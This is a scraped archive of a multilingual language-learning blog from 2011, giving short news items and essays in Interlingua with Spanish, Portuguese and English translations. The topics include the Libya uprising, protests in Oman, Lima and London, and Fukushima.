English)\nWikipedia es un fonte excellente de textos in un grande varietate de linguas que studentes de linguas pote facilemente trovar pro adjuvar les in lor studios. Io discoperiva isto recentemente quando io voleva cercar alicun informationes sur le compositor Wolfgang Amadeus Mozart.\nPost intrar +Mozart +Wikipedia in le motor de cercas de Google, io immediatemente trovava un breve biographia de Mozart. Al leve del articulo, io anque trovava un lista de altere articulos sur Mozart in un grande varietate de linguas, multes de illos linguas minoritari de Europa.\nIo tunc trovava simile articulos intrante, pro exemplo +Beethoven +Wikipedia e +Newton +Wikipedia.\nLe articulos que vos pote trovar de iste maniera pote esser un excellente introduction a iste linguas minor proque illos es sur themas ben cognoscite a personas instruite--que facilita grandemente lor lectura.\nNon omne iste articulos es identic in lor contento. Alicunes de illes es plus elaborate que alteres. Ma si vos vole comenciar le studio de, que nos dice, le catalan o le asturiano, vos potera facilemente trovar breve textos biographic pro practicar le lectura de iste linguas e probabilemente anque textos sur un varietate de altere themas de un interesse commun.\nExplorante un varietate de themas de interesse general de iste maniera, vos probabilemente poterea colliger un anthologia de textos assatis grande pro vostre studios in multo pauc tempore.\n---\nWikipedia, An Excellent Source of Texts for Language Students\nWikipedia is an excellent source ot texts in a great variety of languages that language students can easily find to help them in their studies. I discovered this recently when I wanted to find some information about the composer Wolfgang Amadeus Mozart.\nAfter entering +Mozart +Wikipedia in Google's search engine, I immediately found a brief biography of Mozart. To the left of the article I also found a list of other articles on Mozart in a great variety of languages, many of them minority languages of Europe.\nI then found similar articles entering, for example, +Beethoven +Wikipedia and +Newton +Wikipedia.\nThe articles that you can find this way can be an excellent introduction to these minor languages because they are about subjects that are well known to educated people--which makes it very easy to read them.\nNot all of these articles are identical in their content. Some of them are more elaborate than others. But if you want to start studying, let's say, Catalan or Asturian, you can easily find brief biographical texts for practicing reading in these languages and probably also texts on a variety of other subjects of common interest.\nBy exploring a variety of subjects of general interest in this way, you probably could collect a rather large anthology of practice texts for your studies in very little time.\nPosted by hkyson at 9:30 AM\n(Languages of this post: Interlingua, Spanish, English)\nLe fortias de securitate de Oman confrontava gruppos de manifestantes in le citate de Sohar, a unes 200 kilometros al nord del capital, Mascat.\nUsque nunc, Oman, ubicate al sudest del Arabia Saudite, se ha mantenite al margine del unda de revoltas que se ha extendite trans le mundo arabe.\nSecundo le agentia de novas Reuters, le policia tirava bollettas de cauchu e gases lacrimogene contra presso 200 manifestantes qui protestava contra le situation economic e exigeva reformas politic.\nLe sabato, le sultan de Oman, Qabus Bin Said, decideva augmentar le bursas pro studentes e anunciava mensuras economic pro essayar a reducer le precios de nutrimentos.\n---\nOmán: Enfrentamientos entre manifestantes y la policía\nLas fuerzas de seguridad de Omán se enfrentaron a grupos de manifestantes en la ciudad de Sohar, a unos 200 kilómetros al norte de la capital, Mascate.\nHasta la fecha, Omán, ubicado al sureste de Arabia Saudita, se ha mantenido al margen de la ola de revueltas que se ha extendido por el mundo árabe.\nDe acuerdo con la agencia de noticias Reuters, la policía disparó bolas de goma y gases lacrimógenos contra cerca de 200 manifestantes que protestaban contra la situación económica y pedían reformas políticas.\nEl sábado, el sultán de Omán Qabus Bin Said, decició aumentar las becas para los estudiantes y anunció medidas económicas para intentar bajar los precios de los alimentos.\n--\nOman: Clashes between protesters and police\nThe Omani security forces clashed with groups of demonstrators in the city of Sohar, 200 kilometers north of the capital, Muscat.\nUp to now, Oman, located southeast of Saudi Arabia, has kept itself at the margins of the wave of rioting that has spread throughout the Arab world.\nAccording to Reuters, police fired rubber bullets and tear gas against some 200 demonstrators protesting the economic situation and calling for political reform.\nOn Saturday, the Sultan of Oman Qaboos Bin Said, decided to increase scholarships for students and announced economic measures to try to lower food prices.\nPosted by hkyson at 6:35 AM\n(Languages of this post: Interlingua, Spanish, English)\nLe ministro de affaires exterior italian, Franco Frattini, dice que ille es convencite que Qaddafi essera vincite. Secundo ille, \"nos nos trova in un puncto de non retorno\".\nFrattini anque assecurava que le tractato de amicitate signate in 2008 inter Roma e su ex-colonia African \"se trova suspendite de facto\".\n\"Nos nunquam ha vidite un situation in le qual le chef de un regime da le ordine de occider su proprie fratres e sorores\", diceva Frattini, \"arrivante mesmo al puncto de pagar mercenarios\".\nCon iste parolas, le governamento roman, le associato commercial de Libya le plus grande, mitte distantia inter se e le politicas del governamento de Libya.\n---\nItalia dice que es inevitable que Gadafi será vencido.\nEl ministro de exteriores italiano, Franco Frattini, dice que está convencido que Gadafi sera vencido. Según él, \"estamos en un punto de no retorno\".\nFrattini también aseguró que el tratado de amistad firmado en 2008 entre Roma y su ex colonia africana \"está suspendido de facto\".\n\"Nunca habíamos visto una situación en la que el jefe de un régimen dé la orden de matar a sus propios hermanos y hermanas\", dijo Frattini, \"llegando incluso al punto de pagar a mercenarios\".\nCon estas palabras, el gobierno romano, el mayor socio comercial de Libia, se desmarca de las políticas del gobierno de Libia.\n---\nItaly says it is inevitable that Qaddafi will be defeated.\nItalian Foreign Minister Franco Frattini said he was convinced that Qaddafi will be defeated. According to him, \"We are at a point of no return.\"\nFrattini also gave assurances that the friendship treaty signed in 2008 between Rome and its former African colony \"is suspended de facto, as a practical matter.\"\n\"We've never seen a situation with the head of a regime giving the order to kill his own brothers and sisters,\" said Frattini, \"even to the point of paying mercenaries.\"\nWith these words, the Rome government, Libya's largest trading partner, is distancing itself from the policies of Libya's government.\nPosted by hkyson at 5:47 AM\n(Languages of this post: Interlingua, Spanish, English)\nAlicun tablettas medicinal trovate in un barco naufragate ante 2.000 annos ha devenite le prime prova material que le antic grecos jam utilisava certe plantas como medicamentos.\nPro un periodo de annos, investigatores cercava evidentia que demonstra que le grecos e le romanos realmente poneva in practica le medicina que illes describeva in lor obras academic.\nNunc, le analyses de ADN ha establite ligamines inter monstras de cibollas, alfalfa, seleri, e altere herbas trovate in un nave naufragate con le textos classic de Diocorides, qui scribeva le Encyclopedia de Substantias Natural in le seculo I.\nAlain Toumaide, un historico al Smithsonian Museum of Natural History in Washington, dice que le tablettas que on ha discoperite poterea haber essite usate pro tractar maladias gastric que habeva affligite gente in le nave.\nIste is le prime vice que on ha analysate un composto medicinal de ille epocha. Anteriormente, on habeva trovate plantas in alicun sitos archeologic, ma nunquam tablettas. Isto es alique nove.\n---\nSe han descubierto tabletas medicinales usadas por los griegos hace 2.000 años.\nUnas tabletas medicinales halladas en un barco naufragado hace 2.000 años se convierten en la primera prueba material de que los antiguos griegos ya utilizaban ciertas plantas como medicamentos.\nDurante años, los investigadores buscaron evidencias que demostraran que los griegos y los romanos realmente ponían en práctica la medicina que describían en sus obras académicas.\nAhora, los análisis de ADN relacionaron muestras de cebolla, alfalfa, apio y otras hierbas encontradas en un naufragio con los textos clásicos de Diocorides, quien escribió la Enciclopedia de Sustancias Naturales en el siglo I.\nAlain Toumaide, historiador del Museo Smithsoniano de Historia Natural de Washington, dice que las tabletas que se han descobierto podrían haber sido usadas para tratar enfermedades gástricas que habían afectado a la gente en el barco.\nEsta es la primera vez que se analizó un compuesto medicinal de esa época. Anteriormente se habían encontrado plantas en algunos yacimientos arqueológicos, pero nunca tabletas. Esto es algo Nuevo.\n---\nMedical tablets used by the Greeks over 2,000 years ago have been discovered.\nSome medicinal tablets found in a 2,000-year-old shipwreck are the first material evidence that the ancient Greeks used certain plants as medicines.\nFor years, researchers looked for evidence to prove that the Greeks and Romans really put into practice the medicine they describe in their academic works.\nNow, DNA tests linked samples of onions, alfalfa, celery and other herbs found in a shipwreck with the classic texts of Diocorides, who wrote the Encyclopedia of Natural Substances in the first century\nAlain Tourmaide, a historian at the Smithsonian Museum of Natural History in Washington, says that the tablets that have been discovered could have been used to treat gastric diseases that had afflicted people on the boat.\nThis is the first time that a medicinal compound from that time has been analyzed. Previously plants were found in archeological sites, but never tablets. This is something new.\nPosted by hkyson at 5:02 AM\n(Languages of this post: Interlingua, Spanish, English)\nLe Federation Pagan del Regno Unite ha incoragiate magas, druidas, e altere membros del organisation a definir se como paganos in le proxime censo pro ganiar recognoscimento official como religion.\nLe censo in le Regno Unite habera loco le proxime mense. In le anterior, realisate in 2001, circa 42.000 personas se definiva como pagan, e illes nunc vole recognoscimento official como religion.\nSecundo alicun expertos, in 2001 il habeva circa 250.000 paganos--un numero, illes dice, que essera plus alte hodie.\n---\nLos paganos del Reino Unido quieren el reconocimiento oficial como religión.\nLa Federación Pagana del Reino Unido ha animado a las brujas, druidas y otros miembros de la organización a definirse como paganos en el próximo censo para ganar reconocimiento official como religión.\nEl censo en el Reino Unido tendrá lugar el próximo mes. En el anterior, realizado en 2001, alrededor de 42.000 personas se definieron como paganas, y ahora quieren reconocimiento oficial como religion.\nSegún algunos expertos, en 2001 había cerca de 250.000 paganos--una cifra que, aseguran, sería mayor en la actualidad.\n---\nThe pagans of the United Kingdom want official recognition as a religion.\nThe Pagan Federation of the United Kingdom has encouraged witches, druids, and other members of the organization to define themselves as pagans in the next census to gain official recognition as a religion.\nThe census in the UK will take place next month. In the last one, which took place in 2001, about 42,000 people defined themselves as pagan, and they now want official recognition as a religion.\nAccording to some experts, in 2001 there were about 250,000 pagans--a number they say will be higher today.\nPosted by hkyson at 1:27 AM\n(Languages of this post: Interlingua, Spanish, English)\nOn ha formate un governamento de transition in Benghazi, le secunde citate plus importante de Libya, secundo le ex-ministro de justicia, Mustafa Abdel Jalil.\nLe consilio de ministros del nove governamento preparara electiones intra tres menses e includera functionarios militar e civil.\nAbdel Jalil abandonava le governamento de Muammar Gaddafi a causa de su disaccordo con le uso excessive del violentia contra le manifestantes.\nLe ambassator de Libya in le Statos Unite, Ali Aujali, exprimeva su appoio al nove governamento provisori.\nLe capital de Libya, Tripoli, controlate per fortias loyal a Qadhafi, remaneva assatis calmate iste sabato, ma le chaos continuava in le areoporto, ubi milles de personas essaya a quitar le pais.\n---\nLibia: Un gobierno de transición se ha formado en Bengasi.\nSe ha formado un gobierno de transición en Bengasi, la secunda ciudad más importante de Libya, según el ex ministro de Justicia, Mustafa Abdel-Jalil.\nEl gabinete del nuevo gobierno preparará elecciones para dentro de tres meses y incluirá funcionarios militares y civiles.\nAbdel-Jalil abanonó el gobierno de Muamar Gadafi por su desacuerdo con el excesivo uso de la violencia contra los manifestantes.\nEl embajador de Libia en los Estados Unidos, Ali Aujali, expresó su apoyo al nuevo gobierno temporal.\nLa capital de Libya, Trípoli, controlada por fuerzas leales a Gadafi, permaneció bastante calmada durante este sábado, pero el caos continuó en el aeropuerto, donde miles de personas están tratando de salir del país.\n---\nLibya: A transitional government has been formed in Benghazi.\nA transitional government has been formed in Benghazi, the second largest city of Libya, according to the former justice minister, Mustafa Abdel-Jalil.\nThe cabinet of the new government is preparing to hold elections within the next three months and will include both military and civilian officials.\nAbdel-Jalil abandoned Muammar Gaddafi's government because he disagreed with the excessive use of violence against demonstrators.\nLibya's ambassador to the United States, Ali Aujali, expressed his support for the new temporary government.\nThe capital of Libya, Tripoli, controlled by forces loyal to Qadhafi, remained quite calm during this Saturday, but a state of chaos has prevailed at the airport, where thousands of people are trying to leave the country.\nPosted by hkyson at 12:31 AM\nSaturday, February 26, 2011\n(Languages of this post: Interlingua, Spanish, English)\nIn un manifestation in Lima, le capital de Peru, con le nomine \"Basios contra le homophobia\"), gruppos de gays e catholicos conservative exprimeva lor differentias sin violentia.\n\"Lo que nos ha facite hodie habera un echo in le eternitate\", diceva un parve gruppo de catholicos peruvian post terminar lor orationes in le Placia Major de Lima, Peru, ubi il habeva gruppos de homosexuales qui stava a basiar se e exigir le derecto de exprimer lor affecto in publico. Illes recipeva le appoio de altere activistas qui les accompaniava e voleva exprimer lor solidaritate con lor causa.\nLe manifestation esseva organisate per le Movimento Homosexual de Lima (MHOL) in responsa a colpos recipite a manos del policia per un gruppo de homosexuales in un protesta simile ante un septimana presso le Cathedral de Lima.\nIn le Placia Major--flancate per le palatio de governamento e le cathedral--il habeva diverse copulas gay imbraciante e basiante se, durante que in le atrio del cathedral presso cento parochianos de differente etates orava pro plus que tres horas, lor dorsos tornate verso illes. E anque il habeva un grande numero de policias, le manifestation continuava pacificamente, e il habeva un alte grado de tolerantia.\nLe acto de defiantia gay occurre in momentos in le quales, de un maniera sin precedentes, le uniones inter personas del mesme sexo, le decriminalisation del aborto, e le accesso universal a technicas contraceptive ha devenite alicunes ex le themas debattite inter candidatos presidential in le electiones que habera loco le 10 de april in Peru.\nNonobstante, le autoritates religiose videva iste manifestation gay como un provocation. Le archiepiscopo de Lima, Juan Luis Cipriani, un membro del gruppo catholic Opus Dei, diceva in su programma de television que \"le aborto non es acceptabile, e le homosexuales non debe esser tractate con violentia, ma illes non debe ager de un maniera provocative ante un ecclesia o un cathedral\".\nNancy Freundt, un del personas qui orava in le atrio del cathedral, diceva que \"nos nos trova ci participante in un acto de expiaction pro le Ecclesia, que ha essite defiate per MHOL, al annunciar que illes iva a repeter lor actos homosexual, offendente assi Deo e le doctrina natural del Ecclesia. Illes solmente vole esser un fonte de provocation al societate e apparer como victimas\".\nPro su parte, le sociologo e activista de MHOL Tito Bracamonte diceva que \"es historic le manifestation de iste die proque, a nivello symbolic, nos ha demonstrate nostre derecto a monstrar affecto, e nos nos trova a diologar con le stato, le municipalitate, e le Ecclesia desde un postura de dignitate e respecto pro nostre derectos human\".\nAl acto anque assisteva personas qui sympathisa con le exigentias del homosexuales.\nBaracamonte anque diceva que \"iste es le loco ubi le septamana passate illes nos assaltava pro exprimer nostre affecto in publico, e octo personas esseva ferite durante nostre manifestation. E nos es multo grate pro le appoio compatiente de omnes qui recognosce que nos solmente sta a luctar pro nostre derectos human.\"\nAl acto gay assisteva activistas de organisationes pro mulieres como Virginia Vargas, juvenes de distincte professiones, como le autor Carla García, filia major del presidente de Perú, investigatores de scientias social como Ponciano del Pino, Roberto Bustamante, e Ricardo Caro, tanto como politicas del leve como Javier Diez Canseco e Susel Paredes.\n\"Io vole un pais ubi on non me assalta pro exprimer mi affecto verso mi partenario, ubi il non ha manuales catholic in le scholas que dice que io es un monstro e que io non ha derecto a mi partenario e que nos non pote hereditar nostre benes o posseder in commun nostre assecurantia social\", diceva Susel Paredes, qui es un activista gay e candidato al Congresso pro le partito Fortia Social.\nPost iste manifestation, le Placia de Armas deveniva novemente un spatio pro le populo de Lima e su familias, assi como pro le touristas qui cerca fruer de su historia e beltate.\n---\nBesos gay y oraciones frente a la catedral de Lima\nEn una manifestación en Lima, la capital del Perú, llamada \"Besos contra la homophobia\", grupos de gays y católicos conservadores expresaron sus diferencias sin violencia.\n\"Lo que hemos hecho hoy tendrá eco en la eternidad\", dijo un pequeño grupo de católicos peruanos después de terminar sus oraciones en la Plaza Mayor de Lima, Perú, donde había grupos de homosexuales que estaban besándose y exigiendo el derecho a expresar su afecto en público . Ellos recibieron el apoyo de otros activistas que los acompañaban y querían expresar su solidaridad con su causa.\nLa manifestación fue organizada por el Movimiento Homosexual de Lima (MHOL) en respuesta a golpes recibidos a manos de la policía por un grupo de homosexuales en una protesta semejante hacía una semana frente a la Catedral de Lima.\nEn la Plaza Mayor--flanqueadas por el palacio de gobierno y la cathedral--había varias parejas gay abrazando y besándose, al tiempo que en el atrio de la catedral cerca de cien feligreses de diferentes edades rezaban, durante más de tres horas, de espaldas a ellos. Y si bien hubo un gran número de policías, la manifestación continuó pacíficamente, y hubo un alto grado de tolerancia.\nEl acto de desafío gay tiene lugar en momentos en que, de manera inédita, las uniones entre personas del mismo sexo, la despenalización del aborto y el acceso universal a los métodos anticonceptivos se han convertido en algunos de los temas debatidos entre candidatos presidenciales en las elecciones que tendrán lugar el 10 de abril en el Perú.\nSin embargo, las autoridades religiosas vieron a esta manifestación gay como una provocación. El arzobispo de Lima, Juan Luis Cipriani, miembro del grupo católico Opus Dei, dijo en su programa de televisión que \"el aborto no es aceptable, y los homosexuales no deben ser tratados con violencia, pero no deben actuar de manera provocadora frente a una iglesia o catedral\".\nNancy Freundt, una de las personas que rezó en el atrio de la catedral, dijo que \"estamos aquí participando en un acto de desagravio a la Iglesia, que ha sido desafiada por el MHOL al anunciar que iban a repetir sus actos homosexuales, ofendiendo así a Dios y a la doctrina natural de la Iglesia. Ellos sólo quieren ser una fuente de provocación a la sociedad y aparecer como víctimas\".\nPor su parte, el sociólogo y activista del MHOL Tito Bracamonte dijo que \"es histórica la manifestación de este día porque, a nivel simbólico, hemos demostrado nuestro derecho a mostrar afecto, y estamos dialogando con el estado, la municipalidad y la Iglesia desde una postura de dignidad y el respeto de nuestros derechos humanos\".\nAl acto también asistieron personas que se solidarizan con las demandas de los homosexuales.\nBracamonte también dijo que \"este es el lugar donde la semana pasada nos asaltaron por expresar nuestro afecto en público, y ocho personas resultaron heridas durante nuestra manifestación. Y estamos muy agradecidos por el apoyo comprensivo de todos los que reconocen que solamente estamos luchando por nuestros derechos humanos\".\nAl acto gay asistieron activistas de colectivos de mujeres, como Virginia Vargas, jóvenes de distintas profesiones, como la escritora Carla García, hija mayor del presidente de Perú, investigadores de ciencias sociales como Ponciano del Pino, Roberto Bustamante y Ricardo Caro, tanto como políticos de izquierda como Javier Diez Canseco y Susel Paredes.\n\"Quiero un país donde no me agredan por expresar mis afectos hacia mi pareja, donde no haya manuales católicos en las escuelas que digan que soy un monstruo y que no tengo derecho a que mi pareja y que no podemos heredar nuestros bienes o compartir el seguro social\", dijo Susel Paredes, quien es activista gay y candidata al Congreso por el partido Fuerza Social.\nTras esta manifestación, la Plaza de Armas volvió a ser un espacio para el pueblo de Lima y sus familias, así como para los turistas que buscan disfrutar de su historia y belleza.\n---\nGay kisses and prayers in front of the Cathedral of Lima\nIn a demonstration in Lima, the capital of Peru, called \"Kisses against homophobia,\" groups of gays and conservative Catholics expressed their differences without violence.\n\"What we have done today will echo in eternity,\" said a small group of Peruvian Catholics after finishing their prayers in the Plaza Mayor of Lima, Peru, where there were groups of homosexuals kissing and demanding the right to express their affection in public. They were supported by other activists who accompanied them and wanted to express their solidarity with their cause.\nThe demonstration was organized by the Homosexual Movement of Lima (MHOL in its Spanish acronym) in response to beatings administered by the police to a group of homosexuals in a similar protest a week previously in front of the Cathedral of Lima.\nIn the Plaza Mayor--flanked by the government building and the cathedral--there several gay couples hugging and kissing, while in the atrium of the cathedral around a hundred parishioners of different ages prayed for more than three hours with their backs turned toward them. And while there were a large number of policemen, the demonstration continued peacefully, and there was a high degree of tolerance.\nThe gay act of defiance comes at a time when, in an unprecedented way, unions between people of the same sex, the decriminalization of abortion, and universal access to birth-control techniques have become some of the issues debated among the presidential candidates in elections to be held on April 10 in Peru.\nNevertheless, religious authorities saw this gay demonstration as a provocation. The Archbishop of Lima, Juan Luis Cipriani, a member of the Catholic group Opus Dei, said in his television program, that \"abortion is not acceptable, and homosexuals should not be treated with violence, but they should not act provocatively in front of a church or cathedral.\"\nNancy Freund, one of the people who prayed in the vestibule of the cathedral, said that \"we are here participating in an act of atonement for the Church, which has been challenged by MHOL by announcing that they would repeat their homosexual acts, thereby offending God and the natural doctrine of the Church. They just want to be a source of provocation to society and appear to be victims.\"\nFor his part, sociologist and MHOL activist Tito Bracamonte said that \"today's protest is historic because, on a symbolic level, we have demonstrated our right to display affection, and we are having talks with the state, the municipality, and the Church from a position of dignity and respect for our human rights.\"\nThe ceremony was also attended by people who sympathize with the demands of homosexuals.\nBracamonte also said that \"this is the place where last week they assaulted us for expressing affection in public, and eight people were injured during our protest. And we are grateful for the sympathetic support of everyone who recognizes that we are only fighting for our human rights.\"\nThe gay event was attended by activists from women's groups, such as Virginia Vargas, young people from different occupations, such as the writer Carla Garcia, the oldest daughter of the President of Peru, social scientists such as Ponciano del Pino, Roberto Bustamanate, and Ricardo Caro, as well as leftist politicians such as Javier Diez Canseco and Susel Paredes.\n\"I want a country where they won't attack me for expressing my feelings toward my partner, where there are no manuals in Catholic schools saying that I am a monster and have no right to my partner and that we cannot inherit property or share our social insurance.\" said Susel Paredes, who is a gay activist and candidate for Congress from the Social Force party.\nAfter this demonstration, the Plaza de Armas once again became a space for the people of Lima and their families, as well as for tourists wanting to enjoy its history and beauty.\nPosted by hkyson at 1:43 PM","id":"","dump":"CC-MAIN-2014-23","url":"http:\/\/www.interlinguamultilingue.blogspot.com\/2011_02_01_archive.html","date":"2014-07-22T15:38:49Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-23\/segments\/1405997859240.8\/warc\/CC-MAIN-20140722025739-00190-ip-10-33-131-23.ec2.internal.warc.gz","language":"ina","language_score":0.3390883207,"language_script":"Latn","minhash_cluster_size":48,"top_langs":"{\"ina_Latn_score\": 0.3390883207321167, \"eng_Latn_score\": 0.29407691955566406, \"por_Latn_score\": 0.08067076653242111, \"cbk_Latn_score\": 0.05678265914320946, \"spa_Latn_score\": 0.04199928045272827}","num_words":21683,"character_repetition_ratio":0.033,"word_repetition_ratio":0.01,"special_characters_ratio":0.191,"stopwords_ratio":0.028,"flagged_words_ratio":0.0,"lang_id_score":0.36,"perplexity_score":2656.9,"cluster_detection":-1} +{"text":"Thursday, March 31, 2011\n(Languages of this post: Interlingua, Portuguese, English)\nPlus que 250 mille personas participava in London in un manifestation contra le reductiones de dispensas e le mensuras de austeritate promovite per le governamento britannic in lo que es considerate le protesto le plus grande in le pais in octo annos.\nLe numero esseva multo plus grande que le prevision anterior de 100.000. Le policiamento esseva facite per 4,5 mille homines del Policia Metropolitan.\nManifestantes marchava de Embankment usque Hyde Park, passante per le Parlamento.\nMinistros del governamento affirma que le reductiones in dispensas es necesse pro controlar le financias public, e illes insiste que lor opponentes probabilemente non ha un alternativo a iste mensuras.\nLe evento presentava alicun episodios de violentia. Parve gruppos attaccava botecas e bancas in le region de Picadilly.\nLe policia prendeva 202 personas, e 35 esseva ferite, includente cinque policias.\nLe syndicato le plus grande involvite in le protesta, le Unite, affirma que le numero de su membros qui voleva participar in le manifestation esseva tan grande que il non esseva possibile trovar autobuses sufficiente pro portar omnes a London.\n\"Le alternativa que nos propone es concentrar nos in le crescimento economic pro medio de justitia tributari\", diceva le secretario general del Unite, Len McCluskey. \"Si le governamento esseva assatis coragiose, illo eliminarea le evasion fiscal que roba del contribuentes un minimo de 25 billiones de libras per anno\".\nLe Ministro de Education, Michael Gove, affirma que ille comprende le cholera del manifestantes, ma ille defendeva le reductiones in dispensas. \"Le difficultate que nos ha, con le governamento hereditante un terribile gruppo de problemas economic, es que nos debe facer passos pro mitter nostre financias in equilibrio\", ille diceva.\n---\nCentenas de milhares protestam em Londres, na maior manifestação desde 2003.\nMais de 250 mil pessoas participaram em Londres de uma manifestação contra os cortes de gastos e as medidas de austeridade promovidas pelo governo britânico, no que é considerado o maior protesto no país em oito anos.\nO número foi muito superior à previsão anterior de 100.000. O policiamento foi feito por 4,5 mil homens da Polícia Metropolitana.\nOs manifestantes caminharam de Embankment até o Hyde Park, passando pelo Parlamento.\nOs ministros do governo dizem que a redução dos gastos é necessária para controlar as finanças públicas, e insistem que seus oponentes não têm uma alternativa a essas medidas.\nO evento apresentou alguns episódios de violência. Pequenos grupos atacaram lojas e bancos, na região de Picadilly.\nA polícia prendeu 202 pessoas e 35 ficaram feridas, incluindo cinco policiais.\nO maior sindicato envolvido no protesto, o Unite, afirma que o número de seus filiados que queria participar da manifestação era tão grande que não foi possível encontrar ônibus suficientes para levar todos a Londres.\n\"A alternativa que propomos é focar no crescimento econômico por meio de justiça tributária\", disse o secretário-geral do Unite, Len McCluskey. \"Se o governo fosse corajoso o suficiente, ele acabaria com a evasão fiscal que rouba dos contribuintes um mínimo de 25 bilhões de libras por ano\".\nO Ministro da Educação, Michael Gove, afirma que entende a raiva dos manifestantes, mas defendeu os cortes. \"A dificuldade que temos, com o governo herdando um terrível grupo de problemas econômicos, é que temos que dar passos para colocar as finanças em equilíbrio\", disse.\n---\nHundreds of thousands protest in London in the largest demonstration since 2003.\nMore than 250,000 people participated in a demonstration in London against spending cuts and austerity measures promoted by the British government in what is considered the largest protest in the country in eight years.\nThe number was much higher than the previous forecast of 100,000. The policing was done by 4,500 men of the Metropolitan Police.\nDemonstrators marched from Embankment to Hyde Park, passing by Parliament.\nGovernment ministers say the spending cuts are needed to control public finances, and they insist that their opponents probably do not have an alternative to these measures.\nThe event featured some episodes of violence. Small groups attacked shops and banks in the region of Picadilly.\nPolice arrested 202 people and wounded thirty-five, including five policemen.\nThe largest union involved in the protest, Unite, says the number of its members who wanted to participate in the demonstration was so large that it could not find enough buses to take everybody to London.\n\"The alternative that we propose is to focus on economic growth through tax fairness,\" said the general secretary of Unite, Len McCluskey. \"If the government were courageous enough, it would eliminate tax evasion that robs taxpayers of a minimum of 25 billion pounds ($66.5 billion) per year.\"\nEducation Minister, Michael Gove, said he understands the anger of the protesters, but defended the cuts.\n\"The difficulty we have with the government inheriting a terrible group of economic problems is that we must take steps to balance our finances,\" he said.\nPosted by hkyson at 5:47 PM\nWednesday, March 30, 2011\n(Languages of this post: Interlingua, Spanish, English)\nJapon dimantellara le quatro reactores defectuose del usina de Fukushima Daiichi, que esseva damnificate per le seismo e tsunami recente, informava le Compania Electric de Tokyo (Tepco), responsabile pro le usina.\nTepco faceva le annuncio post tres septimanas de essayar infructuosemente a reparar le quatro reactores.\nIn ultra, illes consultara con le residentes del zona sur le possibilitate de anque dismantellar le unitates 5 e 6, que esseva claudite de forma secur.\nIn le zona on ha detegite nivellos nocive de radioactivitate.\nUsque nunc, il ha plus que 11.000 mortes confirmate per le devastante seismo e tsunami.\n---\nJapón desmantelará los cuatro reactores nucleares averiados de Fukushima.\nJapón desmantelará los cuatro reactores defectuosos de la planta de Fukushima Daiichi, que fueron dañados por el sismo y tsunami recientes, informó la Compañía Eléctrica de Tokio (Tepco), responsable de la planta.\nTepco hizo el anuncio luego de tres semanas de intentar infructuosamente arreglar los cuatro reactores.\nAdemás, les consultará a los residentes de la zona sobre la posibilidad de también desguazar las unidades 5 y 6, que fueron cerradas de forma segura.\nEn la zona se han detectado niveles nocivos de radiactividad.\nHasta ahora hay más de 11.000 muertos confirmados por el devastador terremoto y tsunami.\n---\nJapan will dismantle the four damaged nuclear reactors in Fukushima.\nJapan is going to dismantle the four defective reactors at the Fukushima Daiichi plant, which were damaged by the recent earthquake and tsunami, said Tokyo Electric Power Company (TEPCO), responsible for the plant.\nTEPCO made the announcement after three weeks of trying unsuccessfully to repair the four reactors.\nIn addition, they will consult with residents of the area about the possibility of also scrapping units 5 and 6, which were shut down safely.\nDangerous levels of radioactivity have been detected in that area.\nSo far there are over 11,000 confirmed deaths resulting from the devastating earthquake and tsunami.\nPosted by hkyson at 1:36 AM\nPro le prime vice il ha un taxa de morte plus grande inter le adolescentes que inter le infantes in omne le partes del mundo.\n(Languages of this post: Interlingua, Spanish, English)\nUsque nunc, le taxas de morte prematur in le mundo se ha concentrate in le infantia, a causa principalmente del maladias infectiose como diarrhea.\nNonobstante, un nove studio interntional revela que hodie, pro le prime vice in 50 annos, il ha un taxa de morte plus grande inter le adolescentes e juvenes tanto in paises ric como povre.\nLe studio, publicate in le magazine britannic \"The Lancet\", analysava datos del ultime cinque decadas in 50 paises de alte medie, e basse nivellos de renta.\nLe causas principal de morte es le violentia, le suicidios e le accidentes de traffico.\n---\nPor primera vez hay una mayor tasa de muerte entre los adolescentes que entre los niños de todas partes del mundo.\nHasta ahora, las tasas de muerte prematura en el mundo se han centrado en la niñez, debido principalmente a las enfermedades infecciosas como diarrea.\nSin embargo, un nuevo estudio internacional revela que hoy, por primera vez en 50 años, hay una tasa de muerte más grande entre los adolescentes y jóvenes tanto en países ricos como pobres.\nEl estudio, publicado en la revista británica \"The Lancet\", analizó datos de las últimas cinco décadas en 50 países de altos, medianos y bajos ingresos.\nLas principales causas de muerte son la violencia, los suicidios y los accidentes de tráfico.\n---\nFor the first time there is a higher rate of death among teen-agers than among children from all over the world.\nSo far, the rates of premature death in the world have focused on children, mainly due to infectious diseases such as diarrhea.\nHowever, a new international study reveals that today, for the first time in fifty years, there is a higher rate of death among teenagers and young adults in both rich and poor countries.\nThe study, published in the British journal \"The Lancet,\" analyzed data from the last five decades in fifty high-, medium-, and low-income countries.\nThe leading causes of death are violence, suicides and traffic accidents.\nPosted by hkyson at 12:41 AM\nTuesday, March 29, 2011\n(Languages of this post: Interlingua, Portuguese, English)\nUn gruppo de ingenieros britannic ha fabricate un bicycletta de un nove forma de nylon, un materia prime que illes crede va a revolutionar le production de multe productos.\nLe nylon in pulvere es fundite a laser in un machina innovative, localisate in le Centro de Innovation Aerospatial del citate de Bristol, in le est de Anglaterra.\nAnte esser usate pro facer le bicycletta, iste machina habeva essite utilisate solmente pro le production de componentes specialisate pro uso in aviones.\nMa le ingenieros qui faceva le bicycletta voleva monstrar que le nylon pote esser usate anque pro multe altere cosas, e illes decideva facer alique practic que omne le mundo poterea usar.\nLe bicycletta de nylon es super legier, ma tan resistente como illos facite de aciero.\n---\nEngenheiros britânicos fazem uma bicicleta de nylon.\nUm grupo de engenheiros britânicos fabricaram uma bicicleta a partir de uma nova forma de nylon, matéria-prima que eles acreditam que irá revolucionar a produção de muitos produtos.\nO nylon em pó é fundido a laser em uma máquina inovadora, localizada no Centro de Inovação Aeroespacial da cidade de Bristol, no leste da Inglaterra.\nAntes de se usar para fazer a bicicleta, esta máquina tinha sido utilizada apenas para a produção de componentes especializados para o uso em aviões.\nMas os engenheiros que fizeram a bicicleta queriam mostrar que o nylon pode ser usado para muitas outras coisas além de peças de aeronaves, e eles decidiram fazer algo prático que todo mundo poderia usar.\nA bicicleta de nylon é super leve, mas tão resistente quanto as feitas de aço.\n---\nBritish engineers make a bike out of nylon.\nA group of British engineers have made a bike from a new form of nylon, a raw material that they believe will revolutionize the production of many products.\nThe nylon powder is melted by laser in an innovative machine located in the Aerospace Innovation Center in Bristol in eastern England.\nBefore being used to make the bicycle, this machine had been used only for the production of specialized parts for use in planes.\nBut the engineers who made the bike wanted to show that nylon can be used 